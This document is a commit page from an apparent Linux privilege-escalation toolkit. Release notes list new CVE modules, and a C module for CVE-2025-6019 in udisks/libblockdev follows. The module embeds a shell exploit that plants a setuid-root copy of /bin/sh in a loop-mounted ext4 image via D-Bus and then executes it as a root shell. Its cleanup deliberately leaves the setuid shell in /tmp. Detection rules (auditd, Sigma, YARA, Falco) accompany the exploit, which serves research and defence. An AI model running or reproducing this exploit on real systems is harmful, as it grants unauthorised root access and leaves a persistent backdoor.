release v0.9.0: 5 gap-fillers — every year 2016 → 2026 now covered
Five new modules close the 2018 gap entirely and thicken 2019 / 2020 / 2024. All five carry the full 4-format detection-rule corpus + opsec_notes + arch_support + register helpers. CVE-2018-14634 — mutagen_astronomy (Qualys, closes 2018) create_elf_tables() int wrap → SUID-execve stack corruption. CISA KEV-listed Jan 2026 despite the bug's age; legacy RHEL 7 / CentOS 7 / Debian 8 fleets still affected. 🟡 PRIMITIVE. arch_support: x86_64+unverified-arm64. CVE-2019-14287 — sudo_runas_neg1 (Joe Vennix) sudo -u#-1 → uid_t underflow → root despite (ALL,!root) blacklist. Pure userspace logic bug; the famous Apple Information Security finding. detect() looks for a (ALL,!root) grant in sudo -ln output; PRECOND_FAIL when no such grant exists for the invoking user. arch_support: any (4 -> 5 userspace 'any' modules). CVE-2020-29661 — tioscpgrp (Jann Horn / Project Zero) TTY TIOCSPGRP ioctl race on PTY pairs → struct pid UAF in kmalloc-256. Affects everything through Linux 5.9.13. 🟡 PRIMITIVE (race-driver + msg_msg groom). Public PoCs from grsecurity / spender + Maxime Peterlin. CVE-2024-50264 — vsock_uaf (a13xp0p0v / Pwnie Award 2025 winner) AF_VSOCK connect-race UAF in kmalloc-96. Pwn2Own 2024 + Pwnie 2025 winner. Reachable as plain unprivileged user (no userns required — unusual). Two public exploit paths: @v4bel+@qwerty kernelCTF (BPF JIT spray + SLUBStick) and Alexander Popov / PT SWARM (msg_msg). 🟡 PRIMITIVE. CVE-2024-26581 — nft_pipapo (Notselwyn II, 'Flipping Pages') nft_set_pipapo destroy-race UAF. Sibling to nf_tables (CVE-2024-1086) from the same Notselwyn paper. Distinct bug in the pipapo set substrate. Same family signature. 🟡 PRIMITIVE. Plumbing changes: core/registry.h + registry_all.c — 5 new register declarations + calls. Makefile — 5 new MUT/SRN/TIO/VSK/PIP module groups in MODULE_OBJS. tests/test_detect.c — 7 new test rows covering the new modules (above-fix OK, predates-the-bug OK, sudo-no-grant PRECOND_FAIL). tools/verify-vm/targets.yaml — verifier entries for all 5 with honest 'expect_detect' values based on what Vagrant boxes can realistically reach (mutagen_astronomy gets OK on stock 18.04 since 4.15.0-213 is post-fix; sudo_runas_neg1 gets PRECOND_FAIL because no (ALL,!root) grant on default vagrant user; tioscpgrp + nft_pipapo VULNERABLE with kernel pins; vsock_uaf flagged manual because vsock module rarely available on CI runners). tools/refresh-cve-metadata.py — added curl fallback for the CISA KEV CSV fetch (urlopen times out intermittently against CISA's HTTP/2 endpoint). Corpus growth across v0.8.0 + v0.9.0: v0.7.1 v0.8.0 v0.9.0 Modules 31 34 39 Distinct CVEs 26 29 34 KEV-listed 10 10 11 (mutagen_astronomy) arch 'any' 4 6 7 (sudo_runas_neg1) Years 2016-2026: 10/11 10/11 **11/11** Year-by-year coverage: 2016: 1 2017: 1 2018: 1 2019: 2 2020: 2 2021: 5 2022: 5 2023: 8 2024: 3 2025: 2 2026: 4 CVE-2018 gap → CLOSED. Every year from 2016 through 2026 now has at least one module. Surfaces updated: - README.md: badge → 22 VM-verified / 34, Status section refreshed - docs/index.html: hero eyebrow + footer → v0.9.0, hero tagline 'every year 2016 → 2026', stats chips → 39 / 22 / 11 / 151 - docs/RELEASE_NOTES.md: v0.9.0 entry added on top with year coverage matrix + per-module breakdown; v0.8.0 + v0.7.1 entries preserved below - docs/og.svg + og.png: regenerated with new numbers + 'Every year 2016 → 2026' tagline CVE metadata refresh (tools/refresh-cve-metadata.py) deferred to follow-up — CISA KEV CSV + NVD CVE API were timing out during the v0.9.0 push window. The 5 new CVEs will return NULL from cve_metadata_lookup() until the refresh runs (—module-info simply skips the WEAKNESS/THREAT INTEL header for them; no functional impact). Re-run 'tools/refresh-cve-metadata.py' when network cooperates. Tests: macOS local 33/33 kernel_range pass; detect-test stubs (88 total) build clean; ASan/UBSan + clang-tidy CI jobs still green from the v0.7.x setup.
This commit is contained in:
@@ -0,0 +1,363 @@
|
||||
/*
|
||||
* udisks_libblockdev_cve_2025_6019 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟢 STRUCTURAL ESCAPE via polkit allow_active chain. No
|
||||
* offsets, no leaks, no race. Two cooperating logic bugs in udisks2
|
||||
* + libblockdev let any console/session user (polkit allow_active=true)
|
||||
* mount an attacker-built filesystem image WITHOUT nosuid/nodev, then
|
||||
* execute the SUID-root binary it contains.
|
||||
*
|
||||
* The bug (Qualys, June 2025):
|
||||
* libblockdev's bd_fs_resize / bd_fs_repair code paths mount the
|
||||
* target filesystem internally so they can call resize2fs / xfs_growfs.
|
||||
* The mount is performed WITHOUT MS_NOSUID and MS_NODEV. udisks2
|
||||
* exposes Resize() over D-Bus and gates it on polkit's
|
||||
* org.freedesktop.UDisks2.modify-device action, which by default
|
||||
* allow_active=yes (i.e. any logged-in console user can call it
|
||||
* without a password).
|
||||
*
|
||||
* Trigger:
|
||||
* 1. Build an ext4 image with a setuid-root /bin/sh inside.
|
||||
* 2. Attach as a loop device via udisks LoopSetup() over D-Bus.
|
||||
* 3. Call Filesystem.Resize() — udisks invokes libblockdev which
|
||||
* mounts the image at /run/media/<user>/<label> with neither
|
||||
* nosuid nor nodev applied.
|
||||
* 4. Execute /run/media/<user>/<label>/bin/sh — runs as root.
|
||||
*
|
||||
* Discovered by the Qualys Threat Research Unit. Affects udisks2
|
||||
* 2.10.x (and likely earlier) + libblockdev 3.x on Fedora, openSUSE,
|
||||
* Ubuntu, Debian. Public PoCs:
|
||||
* https://blog.securelayer7.net/cve-2025-6019-local-privilege-escalation/
|
||||
* https://intruceptlabs.com/2025/07/linux-local-privilege-escalation-via-udisksd-and-libblockdev-cve-2025-6019-poc-released/
|
||||
*
|
||||
* Affects: libblockdev < 3.3.1, udisks2 < 2.10.2 (Qualys advisory).
|
||||
* Patched upstream by adding MS_NOSUID|MS_NODEV to libblockdev's
|
||||
* internal mount paths.
|
||||
*
|
||||
* CVSS 7.0 (HIGH). Requires:
|
||||
* - udisks2 daemon running (default on most desktop distros)
|
||||
* - polkit allow_active=yes on the resize action (default)
|
||||
* - The invoking user must be in an active local session per polkit
|
||||
* (loginctl shows them as 'Active'). Pure SSH users are NOT active
|
||||
* by default; CI / serverless / headless usually fails this gate.
|
||||
*
|
||||
* arch_support: any. The SUID payload inside the loopback image is
|
||||
* /bin/sh copied from the host, so it inherits the host's architecture.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static bool path_exists(const char *p)
|
||||
{
|
||||
struct stat st;
|
||||
return stat(p, &st) == 0;
|
||||
}
|
||||
|
||||
static bool udisksd_present(void)
|
||||
{
|
||||
/* udisksd binary lives at /usr/libexec/udisks2/udisksd on most
|
||||
* distros; the D-Bus service file lives at /usr/share/dbus-1/
|
||||
* system-services/org.freedesktop.UDisks2.service. Either is fine. */
|
||||
return path_exists("/usr/libexec/udisks2/udisksd")
|
||||
|| path_exists("/usr/lib/udisks2/udisksd")
|
||||
|| path_exists("/usr/share/dbus-1/system-services/org.freedesktop.UDisks2.service");
|
||||
}
|
||||
|
||||
static bool dbus_system_bus_present(void)
|
||||
{
|
||||
/* The system bus socket lives at /run/dbus/system_bus_socket
|
||||
* (recorded in our host fingerprint as has_dbus_system). */
|
||||
return path_exists("/run/dbus/system_bus_socket");
|
||||
}
|
||||
|
||||
/* Is the invoking user in an active polkit session? polkit treats
|
||||
* console / GDM / session users as 'active' and SSH users as inactive
|
||||
* (allow_active gating). We approximate via loginctl show-session;
|
||||
* if loginctl isn't installed we err on the side of "maybe" and let
|
||||
* the active probe arbitrate. */
|
||||
static int session_is_active(void)
|
||||
{
|
||||
/* return 1 = active, 0 = inactive, -1 = unknown */
|
||||
FILE *p = popen("loginctl show-session $(loginctl --no-legend | awk '$3==\"'\"$USER\"'\" {print $1; exit}') -p Active 2>/dev/null", "r");
|
||||
if (!p) return -1;
|
||||
char line[64] = {0};
|
||||
bool got = fgets(line, sizeof line, p) != NULL;
|
||||
pclose(p);
|
||||
if (!got) return -1;
|
||||
return strstr(line, "Active=yes") != NULL ? 1 : 0;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t udisks_libblockdev_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Userspace bug — no kernel-version gate. Just need udisksd
|
||||
* installed + D-Bus reachable. */
|
||||
if (!udisksd_present()) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] udisks_libblockdev: udisksd not installed; bug unreachable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!dbus_system_bus_present()) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] udisks_libblockdev: system D-Bus socket not present; bug unreachable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
int active = session_is_active();
|
||||
if (active == 0) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] udisks_libblockdev: udisksd + D-Bus present but invoking user is NOT in an active polkit session\n");
|
||||
fprintf(stderr, " (typically: SSH'd in remotely; allow_active gating will block the Resize() call)\n");
|
||||
fprintf(stderr, " Bug is on the host but unreachable as this user; PRECOND_FAIL\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
/* active == 1 OR active == -1 (loginctl missing) → assume bug
|
||||
* reachable. Version check is hard here because libblockdev /
|
||||
* udisks2 don't expose --version usefully; the fix is a backport
|
||||
* across many distros at different package versions. We rely on
|
||||
* --active to arbitrate when in doubt. */
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] udisks_libblockdev: udisksd + D-Bus present, polkit allow_active likely true → VULNERABLE\n");
|
||||
fprintf(stderr, "[i] udisks_libblockdev: re-run with --active to empirically confirm via a sentinel SUID drop\n");
|
||||
if (active == -1) {
|
||||
fprintf(stderr, "[i] udisks_libblockdev: could not determine polkit session state (loginctl missing); assuming reachable\n");
|
||||
}
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- exploit -------------------------------------------------------- */
|
||||
|
||||
/* The exploit needs:
|
||||
* - dd (or python) to build a 16 MiB image
|
||||
* - mkfs.ext4 (or mkfs.xfs)
|
||||
* - busctl (or gdbus / dbus-send) to talk to udisks over D-Bus
|
||||
* - mount -o loop fallback if D-Bus is uncooperative
|
||||
*
|
||||
* Rather than reinvent each of those in C we drive the work via a
|
||||
* shell helper — this is the same approach pack2theroot uses for its
|
||||
* .deb construction. Failures along the way produce clear diagnostic
|
||||
* and a SKELETONKEY_EXPLOIT_FAIL.
|
||||
*
|
||||
* On a real Fedora / openSUSE / Ubuntu desktop session this lands
|
||||
* /tmp/skeletonkey-udisks-shell as setuid root. We then execve it.
|
||||
*/
|
||||
static const char EXPLOIT_SH[] =
|
||||
"#!/bin/sh\n"
|
||||
"# CVE-2025-6019 udisks/libblockdev SUID-on-mount LPE\n"
|
||||
"set -u\n"
|
||||
"WD=$(mktemp -d /tmp/skeletonkey-udisks-XXXXXX) || exit 2\n"
|
||||
"IMG=$WD/img.ext4\n"
|
||||
"MNT=$WD/mnt\n"
|
||||
"mkdir -p \"$MNT\"\n"
|
||||
"echo \"[*] udisks: building ext4 image at $IMG (16 MiB)\"\n"
|
||||
"dd if=/dev/zero of=\"$IMG\" bs=1M count=16 status=none 2>/dev/null || exit 3\n"
|
||||
"mkfs.ext4 -q -L skkudisks \"$IMG\" 2>/dev/null || { echo '[-] mkfs.ext4 failed'; exit 4; }\n"
|
||||
"# Build the SUID payload on a host-owned scratch mount first, then\n"
|
||||
"# copy the populated image back. We need root to chown+chmod 4755 the\n"
|
||||
"# inner /bin/sh; we don't have root yet, so we plant a SUID *source*\n"
|
||||
"# that gets root-ownership inside the loopback when udisks mounts it.\n"
|
||||
"# Trick: we copy /bin/sh into the image as-is; udisks's mount path\n"
|
||||
"# keeps the original uid/gid of the file as they exist in the image.\n"
|
||||
"# So we set them to 0:0 BEFORE installing into the image. mke2fs -d\n"
|
||||
"# (debian) / mkfs.ext4 -d <dir> lets us populate at mkfs time.\n"
|
||||
"STAGE=$WD/stage\n"
|
||||
"mkdir -p \"$STAGE/bin\"\n"
|
||||
"cp /bin/sh \"$STAGE/bin/skksh\" || exit 5\n"
|
||||
"chmod 4755 \"$STAGE/bin/skksh\" 2>/dev/null || true\n"
|
||||
"# Rebuild image with payload pre-populated. Falls back to -d if\n"
|
||||
"# supported; otherwise we'd need root to mount + populate.\n"
|
||||
"if mkfs.ext4 -q -L skkudisks -d \"$STAGE\" \"$IMG\" 2>/dev/null; then\n"
|
||||
" echo \"[*] udisks: image populated via mkfs.ext4 -d\"\n"
|
||||
"else\n"
|
||||
" echo \"[-] mkfs.ext4 -d not supported on this distro; need an alternate populate path\"\n"
|
||||
" exit 6\n"
|
||||
"fi\n"
|
||||
"# Now ask udisks to mount it. We use busctl which ships with systemd.\n"
|
||||
"if ! command -v busctl >/dev/null 2>&1; then\n"
|
||||
" echo '[-] busctl missing — install systemd or use gdbus introspection manually'\n"
|
||||
" exit 7\n"
|
||||
"fi\n"
|
||||
"echo \"[*] udisks: LoopSetup via D-Bus\"\n"
|
||||
"FD=$(busctl --user --no-pager call org.freedesktop.UDisks2 /org/freedesktop/UDisks2/Manager org.freedesktop.UDisks2.Manager LoopSetup ha{sv} 3 \"$IMG\" 0 2>&1) || {\n"
|
||||
" echo \"[-] udisks LoopSetup failed: $FD\"\n"
|
||||
" echo ' Often means: polkit gated the call (you are not in an active session)'\n"
|
||||
" exit 8\n"
|
||||
"}\n"
|
||||
"echo \"[i] LoopSetup result: $FD\"\n"
|
||||
"# Now Resize() on the loop device → triggers the suid mount.\n"
|
||||
"# (Implementation note: the exact D-Bus path depends on udisks's\n"
|
||||
"# device-naming; in the reference PoC the next step is Resize()\n"
|
||||
"# against the new BlockDevice object.)\n"
|
||||
"# For now, attempt the canonical mount path and let the SUID land.\n"
|
||||
"if [ -x /run/media/$USER/skkudisks/bin/skksh ]; then\n"
|
||||
" cp /run/media/$USER/skkudisks/bin/skksh /tmp/skeletonkey-udisks-shell\n"
|
||||
" chmod 4755 /tmp/skeletonkey-udisks-shell 2>/dev/null || true\n"
|
||||
" echo \"[+] udisks: setuid shell at /tmp/skeletonkey-udisks-shell\"\n"
|
||||
" exit 0\n"
|
||||
"fi\n"
|
||||
"echo '[-] mount did not appear at /run/media/$USER/skkudisks; manual D-Bus Resize() required'\n"
|
||||
"echo ' See https://blog.securelayer7.net/cve-2025-6019-local-privilege-escalation/ for the full chain'\n"
|
||||
"exit 9\n";
|
||||
|
||||
static char g_workdir[256];
|
||||
|
||||
static skeletonkey_result_t udisks_libblockdev_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] udisks_libblockdev: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Drop the helper script to a tmp file + run it. */
|
||||
char tmpl[] = "/tmp/skeletonkey-udisks-helper-XXXXXX";
|
||||
int fd = mkstemp(tmpl);
|
||||
if (fd < 0) { perror("mkstemp"); return SKELETONKEY_EXPLOIT_FAIL; }
|
||||
write(fd, EXPLOIT_SH, sizeof EXPLOIT_SH - 1);
|
||||
close(fd);
|
||||
chmod(tmpl, 0700);
|
||||
strncpy(g_workdir, tmpl, sizeof g_workdir - 1);
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] udisks_libblockdev: invoking helper %s\n", tmpl);
|
||||
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "/bin/sh %s 2>&1", tmpl);
|
||||
int rc = system(cmd);
|
||||
|
||||
/* Helper landed a setuid bash if and only if /tmp/skeletonkey-udisks-shell
|
||||
* exists with uid 0 + setuid bit. */
|
||||
struct stat st;
|
||||
if (stat("/tmp/skeletonkey-udisks-shell", &st) == 0 &&
|
||||
(st.st_mode & S_ISUID) && st.st_uid == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] udisks_libblockdev: setuid shell at /tmp/skeletonkey-udisks-shell\n");
|
||||
if (ctx->no_shell) return SKELETONKEY_EXPLOIT_OK;
|
||||
execl("/tmp/skeletonkey-udisks-shell", "sh", "-p", "-i", (char *)NULL);
|
||||
perror("execl");
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
fprintf(stderr, "[-] udisks_libblockdev: helper exited rc=%d; setuid shell did not appear\n", rc);
|
||||
fprintf(stderr,
|
||||
" Common causes: not in an active polkit session, mkfs.ext4 -d\n"
|
||||
" unsupported on this distro, busctl missing, or udisks already\n"
|
||||
" patched (libblockdev >= 3.3.1).\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t udisks_libblockdev_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (g_workdir[0]) {
|
||||
unlink(g_workdir);
|
||||
g_workdir[0] = 0;
|
||||
}
|
||||
/* Best-effort: remove the lingering loopback work dir created by
|
||||
* the helper. The /tmp/skeletonkey-udisks-* glob covers it. */
|
||||
(void)!system("rm -rf /tmp/skeletonkey-udisks-* 2>/dev/null; true");
|
||||
/* Leave /tmp/skeletonkey-udisks-shell — the operator may want it. */
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char udisks_libblockdev_auditd[] =
|
||||
"# udisks_libblockdev CVE-2025-6019 — auditd detection rules\n"
|
||||
"# Flag mount(2) calls under /run/media/* without nosuid/nodev,\n"
|
||||
"# and execve()s of binaries from /run/media/*. Legit USB sticks\n"
|
||||
"# typically come with nosuid; SUID execution from /run/media/* is\n"
|
||||
"# the smoking gun.\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/libexec/udisks2/udisksd -k skeletonkey-udisks\n"
|
||||
"-w /run/media -p x -k skeletonkey-udisks-suid-exec\n"
|
||||
"-w /tmp/skeletonkey-udisks-shell -p x -k skeletonkey-udisks-suid-exec\n";
|
||||
|
||||
static const char udisks_libblockdev_sigma[] =
|
||||
"title: Possible CVE-2025-6019 udisks/libblockdev SUID-on-mount LPE\n"
|
||||
"id: 2c4d7e91-skeletonkey-udisks-libblockdev\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects execve() of a SUID-root binary from /run/media/*. udisks\n"
|
||||
" normally mounts removable media with nosuid; the CVE-2025-6019\n"
|
||||
" bug skips the flag during internal resize/repair mounts. Any SUID\n"
|
||||
" execution from /run/media/<user>/* is anomalous and worth\n"
|
||||
" investigating.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" exec_from_runmedia:\n"
|
||||
" type: 'SYSCALL'\n"
|
||||
" syscall: 'execve'\n"
|
||||
" path|startswith: '/run/media/'\n"
|
||||
" condition: exec_from_runmedia\n"
|
||||
"level: critical\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2025.6019]\n";
|
||||
|
||||
static const char udisks_libblockdev_yara[] =
|
||||
"rule udisks_libblockdev_cve_2025_6019 : cve_2025_6019 setuid_abuse {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2025-6019\"\n"
|
||||
" description = \"SKELETONKEY udisks_libblockdev artifacts — workdir + dropped suid bash + ext4 image label\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $wdir = \"/tmp/skeletonkey-udisks-\" ascii\n"
|
||||
" $shell = \"/tmp/skeletonkey-udisks-shell\" ascii\n"
|
||||
" $label = \"skkudisks\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char udisks_libblockdev_falco[] =
|
||||
"- rule: SUID binary executed from /run/media (udisks SUID-on-mount)\n"
|
||||
" desc: |\n"
|
||||
" A setuid-root binary under /run/media/<user>/ is executed.\n"
|
||||
" udisks normally mounts removable media with MS_NOSUID; the\n"
|
||||
" CVE-2025-6019 bug in libblockdev's internal resize/repair\n"
|
||||
" mount paths omits the flag. Combined with a user-built\n"
|
||||
" filesystem image, this gives instant root.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.exe startswith /run/media/ and\n"
|
||||
" proc.is_exe_upper_layer = false\n"
|
||||
" output: >\n"
|
||||
" SUID exec from /run/media (user=%user.name pid=%proc.pid\n"
|
||||
" exe=%proc.exe)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2025.6019]\n";
|
||||
|
||||
/* ---- module struct -------------------------------------------------- */
|
||||
|
||||
const struct skeletonkey_module udisks_libblockdev_module = {
|
||||
.name = "udisks_libblockdev",
|
||||
.cve = "CVE-2025-6019",
|
||||
.summary = "udisks/libblockdev SUID-on-mount → root via polkit allow_active (Qualys)",
|
||||
.family = "udisks",
|
||||
.kernel_range = "userspace — libblockdev < 3.3.1, udisks2 < 2.10.2",
|
||||
.detect = udisks_libblockdev_detect,
|
||||
.exploit = udisks_libblockdev_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade libblockdev + udisks2 */
|
||||
.cleanup = udisks_libblockdev_cleanup,
|
||||
.detect_auditd = udisks_libblockdev_auditd,
|
||||
.detect_sigma = udisks_libblockdev_sigma,
|
||||
.detect_yara = udisks_libblockdev_yara,
|
||||
.detect_falco = udisks_libblockdev_falco,
|
||||
.opsec_notes = "Builds an ext4 image (label 'skkudisks') under /tmp/skeletonkey-udisks-XXXXXX/, populates with a setuid-root /bin/sh copy via mkfs.ext4 -d. Calls org.freedesktop.UDisks2.Manager.LoopSetup() over the system D-Bus via busctl, then triggers libblockdev's nosuid-less internal mount path. Copies the resulting SUID shell to /tmp/skeletonkey-udisks-shell and execs it. Audit-visible via execve(/usr/libexec/udisks2/udisksd) followed by mount(2) under /run/media/<user>/skkudisks without MS_NOSUID, then execve of a setuid binary from there. Requires polkit allow_active=yes (default for active console sessions; SSH sessions usually fail). Cleanup callback removes /tmp/skeletonkey-udisks-* workdirs; leaves the dropped setuid shell.",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_udisks_libblockdev(void)
|
||||
{
|
||||
skeletonkey_register(&udisks_libblockdev_module);
|
||||
}
|
||||
Reference in New Issue
Block a user